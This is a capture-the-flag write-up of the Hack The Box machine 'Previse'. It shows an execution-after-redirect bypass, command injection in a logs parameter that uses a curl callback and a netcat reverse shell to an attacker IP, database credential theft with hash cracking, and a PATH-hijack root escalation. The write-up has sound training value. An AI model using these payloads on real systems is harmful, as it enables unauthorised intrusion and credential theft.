Previse Logo
  • Category: Hack The Box
  • Operating System: Linux
  • Release Date: August 07, 2021
  • Difficulty: Easy
  • Link: Previse
  • Created By: m4lwhere

Recon

Scanning

We will start by mapping the previse.htb hostname to the IP address of the box. Your /etc/hosts should contain this entry. Make sure you replace the IP provided with the one given to you:

~ cat /etc/hosts
10.129.95.185 previse.htb

nmap found two open TCP ports, SSH (22) and HTTP (80):

~ nmap -sVC 10.129.95.185

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
|   256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_  256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Previse Login
|_Requested resource was login.php
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeration

When we access previse.htb, we are redirected to a login page:

Previse Login Screen

Figure 1: Previse Login Screen

After trying out some default usernames and passwords, nothing worked. I then ran ffuf to find subdirectories.

~ ffuf -u http://previse.htb/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -e .php -fc 403,404,303,405

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://previse.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt
 :: Extensions       : .php 
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 403,404,303,405
________________________________________________

accounts.php            [Status: 302, Size: 3994, Words: 1096, Lines: 94, Duration: 63ms]
config.php              [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 54ms]
css                     [Status: 301, Size: 308, Words: 20, Lines: 10, Duration: 57ms]
download.php            [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 62ms]
favicon.ico             [Status: 200, Size: 15406, Words: 15, Lines: 10, Duration: 59ms]
files.php               [Status: 302, Size: 4914, Words: 1531, Lines: 113, Duration: 59ms]
footer.php              [Status: 200, Size: 217, Words: 10, Lines: 6, Duration: 61ms]
header.php              [Status: 200, Size: 980, Words: 183, Lines: 21, Duration: 64ms]
index.php               [Status: 302, Size: 2801, Words: 737, Lines: 72, Duration: 59ms]
js                      [Status: 301, Size: 307, Words: 20, Lines: 10, Duration: 60ms]
login.php               [Status: 200, Size: 2224, Words: 486, Lines: 54, Duration: 63ms]
logout.php              [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 58ms]
logs.php                [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 66ms]
nav.php                 [Status: 200, Size: 1248, Words: 462, Lines: 32, Duration: 61ms]
status.php              [Status: 302, Size: 2966, Words: 749, Lines: 75, Duration: 59ms]
:: Progress: [40956/40956] :: Job [1/1] :: 680 req/sec :: Duration: [0:01:04] :: Errors: 0 ::

From there, I started looking at all the pages and almost everything redirected to /login.php but nav.php had some interesting links:

Previse nav.php

Figure 2: /nav.php

The links are:

When clicking on the links, they all redirect to /login.php because we are not authenticated.

Execute After Redirect (EAR) Vulnerability

After inspecting reqeuests in burpsuite, we notice that the / returns a HTTP 302 redirect to /login.php. However, there’s also a full page in that response:

HTTP/1.1 302 Found
Date: Thu, 23 Oct 2025 05:34:27 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: login.php
Content-Length: 2801
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
<html>
    <head>
        <meta http-equiv="content-type" content="text/html; charset=UTF-8" />
        <meta charset="utf-8" />
                
        <meta name="viewport" content="width=device-width, initial-scale=1.0" />
        <meta name="description" content="Previse rocks your socks." />
        <meta name="author" content="m4lwhere" />
        <link rel="shortcut icon" href="/favicon.ico" type="image/x-icon" />
        <link rel="icon" href="/favicon.ico" type="image/x-icon" />
        <link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png">
        <link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png">
        <link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png">
        <link rel="manifest" href="/site.webmanifest">
        <link rel="stylesheet" href="css/uikit.min.css" />
        <script src="js/uikit.min.js"></script>
        <script src="js/uikit-icons.min.js"></script>
...<SNIP>...

This is a classic example of an execution after redirect (EAR) vulnerability.

Skiping Redirects

By default, Burp intercept only stops requests, not responses. To see the root page, you’ll have to turn on Server Response Interception in Burp Proxy, and then turn Intercept on (Indicated by the red rectangle):

Previse Burp-Reponse-Interception

Figure 3: Turning on Burpsuite’s Response Interception

After that, I will go to http://previse.htb in the burp browser, forwarding the request without changes, and Burpsuite catches the response:

Previse Burp-Reponse

Figure 4: Burpsuite Intercepting the Response

After changing the response code from 302 to 200, we can see that the page comes back:

Previse Code-change-Response

Figure 5: Response on the Page

From there, we can go to accounts.php using the same process that we did before. That page has a message saying that only admins should be here, which probably means that we can use it to exploit the application:

Previse accounts-php

Figure 6: /accounts.php

After that, we fill out the form and create a new account. After that, we can turn off Burpsuite and log into the web app normally.

Previse account-creation

Figure 7: Account Creation

Log Data

After Logging in, I visited the /file_logs.php and was able to request the log data:

Previse log-data

Figure 8: Log Data

Inital Access

Looking at Burpsuite and performing more enumeration, we can notice that the POST request to /logs.php sends a delim=comma parameter.

Previse burp-delim-comma

Figure 9: Response with the delim parameter set to comma

After trying to change the parameter to something that is not one of the options in the dropdown (delim=taco), we can see that we get the same response as a comma.

Previse burp-delim-space

Figure 10: Response with the delim parameter set to space

Previse burp-delim-taco

Figure 11: Response with the delim parameter set to taco

We can try and abuse the delim=taco parameter to see if we can gain command injection. This can be done by adding a ;curl%20http://10.10.14.6:8888 at the end of the request and hosting a python server (python -m http.server 8888) to see if the command is executed:

Previse burp-cmd-injection Figure 12: Command Execution

From there, we can get a reverse shell by adding this command in the command injection and starting a listener on our local machine:

Revshell cmd: nc%2010.10.14.6%204444%20-e%20/bin/sh

Previse burp-revshell

Figure 13: Reverse Shell as www-data

After that, you can use a python command to spawn a /bin/bash shell.

python3 -c 'import pty; pty.spawn("/bin/bash")'

Privilege Escalation to m4lwhere

After getting access to the system as www-data, we perform system enumeration and find the password to the database in /var/www/html/config.php:

Previse burp-revshell

Figure 14: Database Password

From there, we can use these creds to connect to the database using the follwing command:

Command to connect to the database: mysql -u root -p

Previse database Figure 15: Connecting to the Database

From there, you can connect to the database and show tables to dump the accounts.

Previse dumping-database

Figure 16: Dumping the Database Tables

After dumping the tables, we can see the hashe for the user that we created and m4lwhere. We copy out the hashes to a different file to try and crack them using hashcat.

Hashcat Command: hashcat -m500 user.hash /usr/share/wordlists/rockyou.txt

Previse cracking-hashes

Figure 17: Cracking the hashes with hashcat

From there, we can SSH as m4lwhere onto the machine and get the user flag.

Previse user-flag

Figure 18: User Flag

Privilege Escalation to root

After gaining access to the user m4lwhere, we run sudo -l to see what commands the user run as sudo. We can see that the user can run /opt/scripts/access_backup.sh as root.

m4lwhere@previse:~$ sudo -l
[sudo] password for m4lwhere: 
User m4lwhere may run the following commands on previse:
    (root) /opt/scripts/access_backup.sh
m4lwhere@previse:~$ 

Looking at the script, we can see that it uses the /bin/gzip binary to backup the directories:

m4lwhere@previse:~$ cat /opt/scripts/access_backup.sh 
#!/bin/bash

# We always make sure to store logs, we take security SERIOUSLY here

# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time

gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz
m4lwhere@previse:~$ 

We can see that gzip is called without a complete path. This means that we can use Path Injection and set the SUID bit on /bin/bash to spawn a root shell. Here are the commands for it:

m4lwhere@previse:~$ mkdir /tmp/evil
m4lwhere@previse:~$ vim /tmp/evil/gzip
m4lwhere@previse:~$ cat /tmp/evil/gzip 
#!/bin/bash
chmod u+s /bin/bash
m4lwhere@previse:~$ export PATH=/tmp/evil:$PATH

From there, we can run the access_backup.sh script and that will set the SUID bit on the /bin/bash binary, which we can use to spawn a root shell.

m4lwhere@previse:~$ sudo PATH=/tmp/evil:$PATH /opt/scripts/access_backup.sh
m4lwhere@previse:~$ ls -al /bin/bash 
-rwsr-xr-x 1 root root 1113504 Jun  6  2019 /bin/bash
m4lwhere@previse:~$ /bin/bash -p
bash-4.4#

Previse root-flag

Figure 19: Root Flag